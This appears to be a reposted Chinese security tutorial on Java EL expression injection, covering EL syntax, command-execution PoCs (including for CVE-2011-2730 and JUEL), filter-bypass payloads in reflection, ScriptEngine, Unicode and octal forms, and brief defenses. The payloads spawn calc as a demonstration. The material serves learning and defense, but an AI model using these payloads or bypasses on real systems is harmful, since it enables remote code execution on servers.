记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

浅析EL表达式注入漏洞

2020-05-07 07:35

0x01 EL简介

EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。

EL表达式主要功能如下:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;

0x02 基本语法

EL语法

在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}表示。例如,${ userinfo}代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${ pageScope. userinfo}表示访问page范围中的userinfo变量。

简单地说,使用EL表达式语法:${EL表达式}

其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。

扩展JSP代码的写法总结:

  • JSP表达式:<%=变量或表达式>

    向浏览器输出变量或表达式的计算结果。

  • JSP脚本:<%Java代码%>

    执行java代码的原理:翻译到_jspService()方法中。

  • JSP声明:<%!变量或方法%>

    声明jsp的成员变量或成员方法。

  • JSP注释:<%!--JSP注释--%>

    用于注释JSP代码,不会翻译到Java文件中,也不会执行。

[ ]与.运算符

EL表达式提供.[]两种运算符来存取数据。

当要存取的属性名称中包含一些特殊字符,如.-等并非字母或数字的符号,就一定要使用[]。例如:${user.My-Name}应当改为${user["My-Name"]}

如果要动态取值时,就可以用[]来做,而.无法做到动态取值。例如:${sessionScope.user[data]}中data 是一个变量。

变量

EL表达式存取变量数据的方法很简单,例如:${username}。它的意思是取出某一范围中名称为username的变量。因为我们并没有指定哪一个范围的username,所以它会依序从Page、Request、Session、Application范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传""。EL表达式的属性如下:

属性范围在EL中的名称
PagePageScope
RequestRequestScope
SessionSessionScope
ApplicationApplicationScope

JSP表达式语言定义可在表达式中使用的以下文字:

文字文字的值
Booleantrue 和 false
Integer与 Java 类似。可以包含任何整数,例如 24、-45、567
Floating Point与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567
String任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。
Nullnull

操作符

JSP表达式语言提供以下操作符,其中大部分是Java中常用的操作符:

术语定义
算术型+、-(二元)、*、/、div、%、mod、-(一元)
逻辑型and、&&、or、双管道符、!、not
关系型==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

JSP表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:

术语定义
pageContextJSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。

此外,还提供几个隐式对象,允许对以下对象进行简易访问:

术语定义
param将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。
paramValues将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。
header将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。
headerValues将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。
cookie将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}表达式。
initParam将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:

术语定义
pageScope将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。
requestScope将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。
sessionScope将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。

pageContext对象

pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象。比如,访问request对象传入的查询字符串,就像这样:

${pageContext.request.queryString}

Scope对象

pageScope,requestScope,sessionScope,applicationScope变量用来访问存储在各个作用域层次的变量。

举例来说,如果您需要显式访问在applicationScope层的box变量,可以这样来访问:applicationScope.box。

<% 
pageContext.setAttribute("name","mi1k7ea_page");
request.setAttribute("name","mi1k7ea_request");
session.setAttribute("user","mi1k7ea_session");
application.setAttribute("user","mi1k7ea_application");
%>

pageScope.name:${pageScope.name}
</br>
requestScope.name : ${requestScope.name}
</br>
sessionScope.user : ${sessionScope.user}
</br>
applicationScope.user : ${applicationScope.user}

param和paramValues对象

param和paramValues对象用来访问参数值,通过使用request.getParameter方法和request.getParameterValues方法。

举例来说,访问一个名为order的参数,可以这样使用表达式:${param.order},或者${param["order"]}。

接下来的例子表明了如何访问request中的username参数:

<%@ page import="java.io.*,java.util.*" %>
<%
String title = "Accessing Request Param";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${param["username"]}</p>
</div>
</body>
</html>

param对象返回单一的字符串,而paramValues对象则返回一个字符串数组。

header和headerValues对象

header和headerValues对象用来访问信息头,通过使用request.getHeader()方法和request.getHeaders()方法。

举例来说,要访问一个名为user-agent的信息头,可以这样使用表达式:${header.user-agent},或者${header["user-agent"]}

接下来的例子表明了如何访问user-agent信息头:

<%@ page import="java.io.*,java.util.*" %>
<%
String title = "User Agent Example";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${header["user-agent"]}</p>
</div>
</body>
</html>

运行结果如下:

header对象返回单一值,而headerValues则返回一个字符串数组。

EL中的函数

EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:

${ns:func(param1, param2, ...)}

ns指的是命名空间(namespace),func指的是函数的名称,param1指的是第一个参数,param2指的是第二个参数,以此类推。比如,有函数fn:length,在JSTL库中定义,可以像下面这样来获取一个字符串的长度:

${fn:length("Get my length")}

要使用任何标签库中的函数,您需要将这些库安装在服务器中,然后使用<taglib>标签在JSP文件中包含这些库。

EL表达式调用Java方法

看个例子即可。

先新建一个ELFunc类,其中定义的doSomething()函数用于给输入的参数字符拼接".com"形成域名返回:

package eltest;

public class ELFunc {
public static String doSomething(String str){
return str + ".com";
}
}

接着在WEB-INF文件夹下(除lib和classess目录外)新建test.tld文件,其中指定执行的Java方法及其URI地址:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://www.mi1k7ea.com/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>eltest.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>

JSP文件中,先头部导入taglib标签库,URI为test.tld中设置的URI地址,prefix为test.tld中设置的short-name,然后直接在EL表达式中使用类名:方法名()的形式来调用该类方法即可:

<%@taglib uri="http://www.mi1k7ea.com/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("mi1k7ea")}

0x03 JSP中启动/禁用EL表达式

全局禁用EL表达式

web.xml中进入如下配置:

<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>

单个文件禁用EL表达式

在JSP文件中可以有如下定义:

<%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。

JSP2.0中默认的启用EL表达式。

例如如下的JSP代码禁用EL表达式:

<%@ page isELIgnored="true" %>
${pageContext.request.queryString}

0x04 EL表达式注入漏洞

EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。

通用PoC

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

比如我们在Java程序中可以控制输入EL表达式如下:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

如果该EL表达式直接在JSP页面中执行,则触发任意代码执行漏洞:

但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的。

CVE-2011-2730

命令执行PoC如下:

<spring:message text=
"${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>

再比如:

<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>

访问http://localhost/XXX.jsp?a=$](https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%2FXXX.jsp%3Fa%3D%24){applicationScope}

容器第一次执行EL表达式${param.a}获得了我们输入的${applicationScope},然后Spring标签获取容器的EL表达式求值对象,把${applicationScope}再次执行掉,形成了漏洞。

Wooyun案例

参考Wooyun镜像上的案例:

搜狗某系统存在远程EL表达式注入漏洞(命令执行)

工商银行某系统存在远程EL表达式注入漏洞(命令执行)

JUEL示例

下面我们直接看下在Java代码中EL表达式注入的场景是怎么样的。

EL曾经是JSTL的一部分。然后,EL进入了JSP 2.0标准。现在,尽管是JSP 2.1的一部分,但EL API已被分离到包javax.el中, 并且已删除了对核心JSP类的所有依赖关系。换句话说:EL已准备好在非JSP应用程序中使用!

也就是说,现在EL表达式所依赖的包javax.el等都在JUEL相关的jar包中。

JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。

更多参考官网:http://juel.sourceforge.net/

需要的jar包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7。

Test.java,利用反射调用Runtime类方法实现命令执行:

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class Test {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
// failed
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
// ok
String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}

运行即触发:

0x05 绕过方法

这里针对前面在Java代码中注入EL表达式的例子来演示。其实绕过方法和SpEL表达式注入是一样的。

利用反射机制绕过

即前面Demo的PoC,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤。

利用ScriptEngine调用JS引擎绕过

同SpEL注入中讲到的:

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

利用Unicode编码绕过

对可利用的PoC进行全部或部分的Unicode编码都是OK的:

// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d

利用八进制编码绕过

同上,全部或部分进行八进制编码都是OK的:

// 八进制编码内容为前面反射调用的PoC
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175

这里我是通过写个小脚本来实现编码转换的:

str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
num = "\\" + oct(ord(s))
result += num
print(result.replace("\\0", "\\"))

0x06 防御方法

  • 尽量不使用外部输入的内容作为EL表达式内容;

  • 若使用,则严格过滤EL表达式注入漏洞的payload关键字;

  • 如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:

    javax.el.ExpressionFactory.createValueExpression()
    javax.el.ValueExpression.getValue()

0x07 参考

JSP 表达式语言

EL表达式调用java方法

JAVA WEB EL表达式注入


知识来源: xz.aliyun.com/t/7692

阅读:48841 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“浅析EL表达式注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

ANNOUNCE

ADS

标签云